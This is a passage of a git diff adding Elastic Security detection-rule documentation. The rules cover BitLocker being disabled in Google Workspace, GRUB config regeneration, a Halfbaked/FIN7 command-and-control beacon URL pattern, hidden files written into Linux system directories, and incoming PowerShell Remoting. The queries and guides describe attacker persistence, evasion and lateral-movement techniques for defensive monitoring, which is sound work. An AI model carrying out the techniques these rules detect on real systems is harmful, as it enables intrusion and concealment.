-0,0 +1,150 @@ +[[prebuilt-rule-8-19-36-google-workspace-bitlocker-setting-disabled]] +=== Google Workspace Bitlocker Setting Disabled + +Google Workspace administrators whom manage Windows devices and have Windows device management enabled may also enable BitLocker drive encryption to mitigate unauthorized data access on lost or stolen computers. Adversaries with valid account access may disable BitLocker to access sensitive data on an endpoint added to Google Workspace device management. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-google_workspace.admin-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-130m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Data Source: Google Workspace Audit Logs +* Use Case: Configuration Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Threat: Ransomware +* Rule Type: Custom Query (KQL) +* Platform: Google Workspace +* Domain: SaaS + +*Version*: 115 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Google Workspace Bitlocker Setting Disabled* + + +BitLocker Drive Encryption is a data protection feature that integrates with the Windows operating system to address the data theft or exposure threats from lost, stolen, or inappropriately decommissioned computers. BitLocker helps mitigate unauthorized data access by enhancing file and system protections, such as data encryption and rendering data inaccessible. Google Workspace can sync with Windows endpoints that are registered in inventory, where BitLocker can be enabled and disabled. + +Disabling Bitlocker on an endpoint decrypts data at rest and makes it accessible, which raises the risk of exposing sensitive endpoint data. + +This rule identifies a user with administrative privileges and access to the admin console, disabling BitLocker for Windows endpoints. + + +*Possible investigation steps* + + +- Identify the associated user accounts by reviewing `user.name` or `user.email` fields in the alert. +- Review `google_workspace.admin.org_unit.name`, `google_workspace.admin.setting.name`, and `google_workspace.admin.old_value` / `new_value` to confirm BitLocker was disabled and for which OU. +- After identifying the user, verify if the user should have administrative privileges to disable BitLocker on Windows endpoints. +- Review Admin and Device logs, filtering on the user email identified from the alert. +- Confirm the policy change under `Devices` (Windows device management) or the relevant Chrome/Windows endpoint settings area for the affected OU. + + +*False positive analysis* + + +- An administrator may have intentionally disabled BitLocker for routine maintenance or endpoint updates. + - Verify with the user that they intended to disable BitLocker on Windows endpoints. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed. +- Implement security best practices https://support.google.com/a/answer/7587183[outlined] by Google. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + + + +*Important Information Regarding Google Workspace Event Lag Times* + +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-google_workspace.html + +==== Setup + + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"google_workspace.admin" and event.action:"CHANGE_APPLICATION_SETTING" + and google_workspace.admin.new_value:"Disabled" and google_workspace.admin.setting.name:BitLocker* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-grub-configuration-generation-through-built-in-utilities.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-grub-configuration-generation-through-built-in-utilities.asciidoc new file mode 100644 index 0000000000..2a99bf14fa --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-grub-configuration-generation-through-built-in-utilities.asciidoc @@ -0,0 +1,182 @@ +[[prebuilt-rule-8-19-36-grub-configuration-generation-through-built-in-utilities]] +=== GRUB Configuration Generation through Built-in Utilities + +This rule detects the generation of a new GRUB configuration file using built-in Linux commands. The GRUB configuration file is used to configure the GRUB bootloader, which is responsible for loading the Linux kernel and initramfs image during the boot process. Attackers may use these built-in utilities to generate a new GRUB configuration file that includes malicious kernel parameters or boot options, which can be leveraged to maintain persistence on the system. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* endgame-* +* logs-crowdstrike.fdr* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GRUB Configuration Generation through Built-in Utilities* + + +GRUB, the Grand Unified Bootloader, is crucial for loading the Linux kernel during system startup. It uses configuration files to determine boot parameters. Adversaries may exploit utilities like `grub-mkconfig` to alter these files, embedding malicious parameters for persistence. The detection rule identifies suspicious executions of these utilities, especially when initiated by atypical parent processes, signaling potential misuse. + + +*Possible investigation steps* + + +- Review the process execution details to identify the parent process of the suspicious GRUB configuration utility execution. Check if the parent process is unusual or unexpected based on the query's exclusion list. +- Examine the command-line arguments used in the execution of the GRUB configuration utility to identify any potentially malicious kernel parameters or boot options. +- Investigate the user account associated with the process execution to determine if it has the necessary privileges and if the activity aligns with the user's typical behavior. +- Check the system's recent changes or updates, especially those related to bootloader configurations, to identify any unauthorized modifications. +- Analyze system logs for any other suspicious activities or anomalies around the time of the GRUB configuration utility execution to gather additional context. + + +*False positive analysis* + + +- Routine system updates or maintenance tasks may trigger the rule when legitimate processes like package managers (e.g., pacman, dnf, yum) or system utilities (e.g., sudo) execute GRUB configuration commands. Users can mitigate this by adding these processes to the exception list in the rule configuration. +- Automated scripts or cron jobs that regularly update GRUB configurations for legitimate reasons might be flagged. To handle this, identify these scripts and add their parent process names or paths to the exclusion criteria. +- Custom administrative scripts that manage bootloader settings could also cause false positives. Review these scripts and, if verified as safe, include their parent process details in the rule's exceptions. +- Some Linux distributions may have specific utilities or services that interact with GRUB as part of their normal operation. Investigate these utilities and consider excluding them if they are confirmed to be benign and necessary for system functionality. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further malicious activity or lateral movement. +- Terminate any suspicious processes related to `grub-mkconfig`, `grub2-mkconfig`, or `update-grub` that were initiated by atypical parent processes. +- Review and restore the GRUB configuration file from a known good backup to ensure no malicious parameters are present. +- Conduct a thorough examination of the system for additional signs of compromise, focusing on persistence mechanisms and unauthorized changes to boot parameters. +- Escalate the incident to the security operations team for further analysis and to determine if additional systems are affected. +- Implement monitoring for future unauthorized executions of GRUB configuration utilities, ensuring alerts are generated for similar suspicious activities. +- Review and update access controls and permissions to restrict the execution of GRUB configuration utilities to authorized personnel only. + +==== Setup + + + +*Setup* + +This rule requires data coming in from Elastic Defend. + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2") and +process.parent.name != null and process.name in ("grub-mkconfig", "grub2-mkconfig", "update-grub") and +not ( + process.parent.name in ("run-parts", "sudo", "update-grub", "pacman", "dockerd", "dnf", "rpm", "yum") or + ?process.parent.executable like ( + "/var/lib/dpkg/info/*", "/usr/lib/bootloader/grub2-efi/config", "/tmp/newroot/*", "/usr/lib/kernel/install.d/*", + "/run/user/*/.bubblewrap/*/timeout" + ) or + ?process.parent.executable in ( + "/usr/bin/timeout", "/usr/sbin/nvidia-boot-update", "/usr/lib/oci-linux-config/misc_updates.sh", + "/opt/puppetlabs/puppet/bin/puppet", "/usr/sbin/selinux-activate", "/usr/lib/skylight/stop-workspace", + "/var/lib/aws-replication-agent/install_agent", "/usr/local/CTS/bin/apply_personality", + "/opt/puppetlabs/puppet/bin/ruby" + ) or + (process.parent.name like ("python*", "platform-python*") and ?process.parent.command_line like "*ansible*") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Pre-OS Boot +** ID: T1542 +** Reference URL: https://attack.mitre.org/techniques/T1542/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Pre-OS Boot +** ID: T1542 +** Reference URL: https://attack.mitre.org/techniques/T1542/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-halfbaked-command-and-control-beacon.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-halfbaked-command-and-control-beacon.asciidoc new file mode 100644 index 0000000000..fdad77783b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-halfbaked-command-and-control-beacon.asciidoc @@ -0,0 +1,138 @@ +[[prebuilt-rule-8-19-36-halfbaked-command-and-control-beacon]] +=== Halfbaked Command and Control Beacon + +Halfbaked is a malware family used to establish persistence in a contested network. This rule detects a network activity algorithm leveraged by Halfbaked implant beacons for command and control. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/blog/topics/threat-intelligence/fin7-phishing-lnk +* https://attack.mitre.org/software/S0151/ + +*Tags*: + +* Use Case: Threat Detection +* Tactic: Command and Control +* Domain: Endpoint +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: ES|QL +* Domain: Network +* Data Source: Network Packet Capture + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Halfbaked Command and Control Beacon* + + +Halfbaked malware exploits common network protocols to maintain persistence and facilitate command and control (C2) operations within compromised networks. Adversaries leverage HTTP and TLS protocols to disguise malicious traffic as legitimate, often targeting specific ports like 53, 80, 8080, and 443. The detection rule identifies suspicious network patterns, such as unusual URL structures and specific transport protocols, to flag potential C2 beaconing activities. + + +*Possible investigation steps* + + +- Review the network traffic logs to identify any connections to IP addresses matching the pattern specified in the query (e.g., http://[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}/cd) and determine if these IPs are known or suspicious. +- Analyze the destination ports (53, 80, 8080, 443) used in the flagged traffic to assess if they align with typical usage patterns for the affected systems or if they indicate potential misuse. +- Examine the HTTP and TLS traffic details to identify any unusual URL structures or anomalies in the network.protocol field that could suggest malicious activity. +- Correlate the detected network activity with endpoint logs to identify any associated processes or applications that may have initiated the suspicious traffic. +- Investigate any related alerts or historical data for patterns of similar activity, which could indicate a persistent threat or ongoing compromise within the network. + + +*False positive analysis* + + +- Legitimate software updates or patch management systems may use similar URL structures and ports, leading to false positives. Users can create exceptions for known update servers by whitelisting their IP addresses or domain names. +- Internal web applications or services that use non-standard ports like 8080 for HTTP traffic might trigger the rule. Identify these applications and exclude their traffic from the rule by specifying their IP addresses or domain names. +- Network monitoring tools or security appliances that perform regular scans or health checks over HTTP or TLS might mimic the detected patterns. Exclude these tools by adding their IP addresses to an exception list. +- Content delivery networks (CDNs) often use IP-based URLs for load balancing and might be mistaken for malicious activity. Verify the legitimacy of the CDN traffic and exclude it by whitelisting the associated IP ranges. +- Automated scripts or bots within the network that access external resources using IP-based URLs could trigger alerts. Review these scripts and, if deemed safe, exclude their traffic by specifying their source IP addresses. + + +*Response and remediation* + + +- Isolate the affected systems from the network immediately to prevent further communication with the command and control server. +- Conduct a thorough scan of the isolated systems using updated antivirus and anti-malware tools to identify and remove the Halfbaked malware. +- Analyze network traffic logs to identify other potentially compromised systems by looking for similar suspicious network patterns and URL structures. +- Block the identified malicious IP addresses and domains at the network perimeter to prevent further communication attempts. +- Apply security patches and updates to all systems and applications to close vulnerabilities exploited by the malware. +- Restore affected systems from clean backups, ensuring that the backups are free from any signs of compromise. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the scope of the breach. + + +*Threat intel* + + +This activity has been observed in FIN7 campaigns. + +==== Rule query + + +[source, js] +---------------------------------- +from packetbeat-*, filebeat-*, logs-network_traffic.* metadata _id, _version, _index +| where ( + data_stream.dataset in ("network_traffic.tls", "network_traffic.http") or + (event.category in ("network", "network_traffic") and network.protocol == "http") + ) +| where network.transport == "tcp" +| where url.full RLIKE "http://[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}/cd" +| where destination.port in (53, 80, 8080, 443) +| keep @timestamp, url.full, source.ip, destination.ip, destination.port, network.protocol, data_stream.dataset, _id, _version, _index + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Web Protocols +** ID: T1071.001 +** Reference URL: https://attack.mitre.org/techniques/T1071/001/ +* Technique: +** Name: Dynamic Resolution +** ID: T1568 +** Reference URL: https://attack.mitre.org/techniques/T1568/ +* Sub-technique: +** Name: Domain Generation Algorithms +** ID: T1568.002 +** Reference URL: https://attack.mitre.org/techniques/T1568/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-hidden-file-created-in-system-directory-by-suspicious-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-hidden-file-created-in-system-directory-by-suspicious-process.asciidoc new file mode 100644 index 0000000000..14e7164e86 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-hidden-file-created-in-system-directory-by-suspicious-process.asciidoc @@ -0,0 +1,162 @@ +[[prebuilt-rule-8-19-36-hidden-file-created-in-system-directory-by-suspicious-process]] +=== Hidden File Created in System Directory by Suspicious Process + +Identifies an executable from a suspicious or writable location creating a hidden file in a system binary, configuration, or library directory. Adversaries may place dot-prefixed files in trusted system locations to conceal payloads, configuration, or persistence artifacts. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Rule Type: Event Correlation (EQL) +* Resources: Investigation Guide +* Platform: Linux + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Hidden File Created in System Directory by Suspicious Process* + + +Linux dot-prefixed files are hidden from default directory listings. An attacker may run a payload from a temporary, +shared-memory, web, home, or memory-backed location and create a hidden file under a trusted system directory to conceal +malware, configuration, credentials, or a persistence component. + + +*Possible investigation steps* + + +- Review the hidden file's full path, owner, permissions, timestamps, size, hash, and file type. +- Examine the creating process, its parent and ancestor chain, command line, user, working directory, and executable hash. +- Determine how the suspicious executable reached the host by reviewing earlier file, process, and network events. +- Inspect the file safely for executable content, scripts, credentials, configuration, or references from services, + scheduled tasks, shell profiles, or dynamic linker configuration. +- Check whether the file was later read, executed, renamed, loaded, deleted, or observed on other systems. + + +*False positive analysis* + + +- Administrative scripts, security products, software installers, and configuration-management tools may create legitimate + hidden files. Validate the exact file purpose, process lineage, deployment record, and host scope before adding an + exception. +- Development, build, or container workflows may create dotfiles in unusual filesystem layouts. Confirm the destination + is expected for the workflow and that the process and resulting artifact are trusted. + + +*Response and remediation* + + +- Isolate the affected host if the process or hidden file is unauthorized. +- Terminate malicious processes, quarantine the file, and remove related persistence only after preserving evidence. +- Hunt for matching file and process hashes, names, paths, and related network indicators across the environment. +- Identify and remediate the initial access vector, and rotate any credentials or secrets exposed by the compromise. +- Restore affected system files and configuration from a trusted source and monitor for recurrence. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings, which can be customized by configuring the Elastic Defend integration policy. Select "Complete EDR (Endpoint Detection and Response)" to collect all events and preventions. +- Enter a name for the agent policy, or select an existing agent policy. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent" and follow the instructions to install the Elastic Agent on your hosts. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.action in ("rename", "creation") and +process.executable like ( + "/tmp/*", "/var/tmp/*", "/dev/shm/*", "/run/*", "/var/run/*", "/boot/*", "/sys/*", "*/www/html/*", + "/lost+found/*", "/proc/*", "/var/mail/*", "/var/www/*", "/mnt/*", "/media/*", "*/wp-content/*", + "*/wp-includes/*", "*/wp-admin/*", "?memfd:*", "memfd:*", "/home/*", "/root/*" +) and +file.name like ".*" and +file.path like ( + "/bin/*", "/usr/bin/*", "/usr/local/bin/*", "/sbin/*", "/usr/sbin/*", "/usr/local/sbin/*", "/etc/*", + "/lib/*", "/lib32/*", "/lib64/*", "/libx32/*", "/usr/lib/*", "/usr/lib32/*", "/usr/lib64/*", + "/usr/libx32/*", "/usr/local/lib/*", "/usr/local/lib32/*", "/usr/local/lib64/*", "/usr/local/libx32/*", + "/libexec/*", "/usr/libexec/*", "/usr/local/libexec/*", "/var/lib/*" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hide Artifacts +** ID: T1564 +** Reference URL: https://attack.mitre.org/techniques/T1564/ +* Sub-technique: +** Name: Hidden Files and Directories +** ID: T1564.001 +** Reference URL: https://attack.mitre.org/techniques/T1564/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-incoming-execution-via-powershell-remoting.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-incoming-execution-via-powershell-remoting.asciidoc new file mode 100644 index 0000000000..662380ad12 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-incoming-execution-via-powershell-remoting.asciidoc @@ -0,0 +1,171 @@ +[[prebuilt-rule-8-19-36-incoming-execution-via-powershell-remoting]] +=== Incoming Execution via PowerShell Remoting + +Identifies remote execution via Windows PowerShell remoting. Windows PowerShell remoting allows a user to run any Windows PowerShell command on one or more remote computers. This could be an indication of lateral movement. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-endpoint.events.network-* +* logs-windows.sysmon_operational-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/running-remote-commands?view=powershell-7.1 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Tactic: Execution +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 217 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Incoming Execution via PowerShell Remoting* + + +PowerShell Remoting enables administrators to execute commands on remote Windows systems, facilitating efficient management. However, adversaries can exploit this feature for lateral movement within a network. The detection rule identifies suspicious activity by monitoring network traffic on specific ports and processes initiated by PowerShell Remoting, flagging potential unauthorized remote executions. + + +*Possible investigation steps* + + +- Review the network traffic logs to identify the source IP address involved in the alert, ensuring it is not a known or authorized management system. +- Check the destination port (5985 or 5986) to confirm it aligns with PowerShell Remoting activity and verify if the connection was expected or authorized. +- Investigate the process tree on the affected host to determine if the process initiated by wsmprovhost.exe is legitimate or if it shows signs of suspicious activity. +- Examine the parent process of wsmprovhost.exe to identify any unusual or unauthorized processes that may have triggered the PowerShell Remoting session. +- Correlate the event with user activity logs to determine if the remote execution was performed by a legitimate user or if there are signs of compromised credentials. +- Assess the risk score and severity in the context of the organization's environment to prioritize the response and determine if further containment or remediation actions are necessary. + + +*False positive analysis* + + +- Legitimate administrative tasks using PowerShell Remoting can trigger the rule. To manage this, identify and whitelist known administrative IP addresses or user accounts that frequently perform remote management tasks. +- Automated scripts or scheduled tasks that use PowerShell Remoting for system maintenance might be flagged. Review and document these scripts, then create exceptions for their specific process names or execution paths. +- Security tools or monitoring solutions that leverage PowerShell Remoting for legitimate purposes may cause alerts. Verify these tools and exclude their associated network traffic or processes from the detection rule. +- Internal IT support activities that involve remote troubleshooting using PowerShell Remoting can be mistaken for threats. Maintain a list of support personnel and their IP addresses to exclude them from triggering alerts. +- Regular software updates or patch management processes that utilize PowerShell Remoting should be considered. Identify these processes and exclude their network traffic or process executions to prevent false positives. + + +*Response and remediation* + + +- Isolate the affected host immediately from the network to prevent further lateral movement by the adversary. +- Terminate any suspicious PowerShell processes identified, especially those initiated by wsmprovhost.exe, to stop unauthorized remote executions. +- Conduct a thorough review of recent user activity and access logs on the affected host to identify any unauthorized access or changes. +- Reset credentials for any accounts that were used in the suspicious activity to prevent further unauthorized access. +- Apply patches and updates to the affected systems to address any vulnerabilities that may have been exploited. +- Enhance monitoring on the network for unusual activity on ports 5985 and 5986 to detect any future attempts at unauthorized PowerShell Remoting. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are compromised. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/sysmon-event-3-setup[Sysmon Event ID 3 - Network Connection] + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan = 30s + [network where host.os.type == "windows" and network.direction : ("incoming", "ingress") and destination.port in (5985, 5986) and + source.ip != "127.0.0.1" and source.ip != "::1"] + [process where host.os.type == "windows" and + event.type == "start" and process.parent.name : "wsmprovhost.exe" and not process.executable : ( + "?:\\Windows\\System32\\chcp.com", + "?:\\Windows\\System32\\conhost.exe", + "?:\\Windows\\System32\\HOSTNAME.EXE", + "?:\\Windows\\System32\\NETSTAT.EXE", + "?:\\Windows\\System32\\quser.exe" + )] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: Windows Remote Management +** ID: T1021.006 +** Reference URL: https://attack.mitre.org/techniques/T1021/006/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-ipv4-ipv6-forwarding-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-ipv4-ipv6-forwarding-activity.asciidoc new file mode 100644 index 0000000000..fec190984f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-ipv4-ipv6-forwarding-activity.asciidoc @@ -0,0 +1,145 @@ +[[prebuilt-rule-8-19-36-ipv4-ipv6-forwarding-activity]] +=== IPv4/IPv6 Forwarding Activity + +This rule monitors for the execution of commands that enable IPv4 and IPv6 forwarding on Linux systems. Enabling IP forwarding can be used to route network traffic between different network interfaces, potentially allowing attackers to pivot between networks, exfiltrate data, or establish command and control channels. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m 